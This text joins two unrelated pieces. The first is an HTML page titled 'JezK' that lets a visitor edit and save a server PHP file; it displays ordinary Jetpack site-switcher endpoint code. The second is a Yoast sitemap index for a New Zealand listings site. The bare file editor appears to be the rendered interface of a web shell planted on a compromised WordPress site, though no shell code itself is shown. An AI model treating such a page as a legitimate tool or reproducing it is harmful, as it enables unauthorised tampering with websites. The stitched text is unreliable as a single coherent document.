
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: site-switcher-endpoint.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Site Switcher REST API Endpoint
 * Jetpack-only endpoint for fetching compact sites list
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Connection\Client;
use Automattic\Jetpack\Connection\Manager as Connection_Manager;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit( 0 );
}

/**
 * Register REST API endpoint to fetch compact sites list from WordPress.com
 */
function jetpack_site_switcher_register_rest_routes() {
	register_rest_route(
		&#039;jetpack/v4&#039;,
		&#039;/sites/compact&#039;,
		array(
			&#039;methods&#039;             =&gt; WP_REST_Server::READABLE,
			&#039;callback&#039;            =&gt; &#039;jetpack_site_switcher_get_sites&#039;,
			&#039;permission_callback&#039; =&gt; &#039;jetpack_site_switcher_permission_check&#039;,
		)
	);
}

/**
 * Check if the current user is connected to WordPress.com
 *
 * @return bool True if user is connected, false otherwise
 */
function jetpack_site_switcher_permission_check() {
	if ( ! is_user_logged_in() ) {
		return false;
	}

	$connection_manager = new Connection_Manager();
	return $connection_manager-&gt;is_user_connected();
}
add_action( &#039;rest_api_init&#039;, &#039;jetpack_site_switcher_register_rest_routes&#039; );

/**
 * Fetch compact sites list from WordPress.com API
 *
 * @return WP_REST_Response|WP_Error
 */
function jetpack_site_switcher_get_sites() {
	$response = Client::wpcom_json_api_request_as_user(
		&#039;/me/sites/compact&#039;,
		&#039;v1.1&#039;,
		array( &#039;method&#039; =&gt; &#039;GET&#039; ),
		null,
		&#039;rest&#039;
	);

	if ( is_wp_error( $response ) ) {
		return new WP_Error(
			&#039;jetpack_site_switcher_request_failed&#039;,
			sprintf(
				/* translators: %s: Error message from the API request */
				__( &#039;Failed to connect to WordPress.com: %s&#039;, &#039;jetpack&#039; ),
				$response-&gt;get_error_message()
			),
			array( &#039;status&#039; =&gt; 500 )
		);
	}

	$response_code = wp_remote_retrieve_response_code( $response );
	if ( 200 !== $response_code ) {
		return new WP_Error(
			&#039;jetpack_site_switcher_api_error&#039;,
			sprintf(
				/* translators: %d: HTTP status code */
				__( &#039;WordPress.com API returned error (HTTP %d)&#039;, &#039;jetpack&#039; ),
				$response_code
			),
			array( &#039;status&#039; =&gt; $response_code )
		);
	}

	$body = json_decode( wp_remote_retrieve_body( $response ), true );

	if ( ! isset( $body[&#039;sites&#039;] ) ) {
		return new WP_Error(
			&#039;jetpack_site_switcher_invalid_response&#039;,
			__( &#039;WordPress.com API response missing sites data&#039;, &#039;jetpack&#039; ),
			array( &#039;status&#039; =&gt; 500 )
		);
	}

	return rest_ensure_response( $body );
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//peacefinder.co.nz/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://peacefinder.co.nz/post-sitemap.xml</loc>
		<lastmod>2025-05-09T06:53:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/page-sitemap.xml</loc>
		<lastmod>2026-05-02T11:57:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listings-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/product-sitemap.xml</loc>
		<lastmod>2025-03-22T07:11:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listing_template-sitemap.xml</loc>
		<lastmod>2025-05-08T11:33:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/elementor-hf-sitemap.xml</loc>
		<lastmod>2025-03-28T03:15:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/category-sitemap.xml</loc>
		<lastmod>2025-05-09T06:50:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/condition-sitemap.xml</loc>
		<lastmod>2025-09-25T21:26:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/make-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/serie-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/body-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/ca-year-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/mileage-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/transmission-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/engine-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/exterior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/fuel-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/price-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/drive-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/interior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/stm_additional_features-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/author-sitemap.xml</loc>
		<lastmod>2025-05-22T10:05:43+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->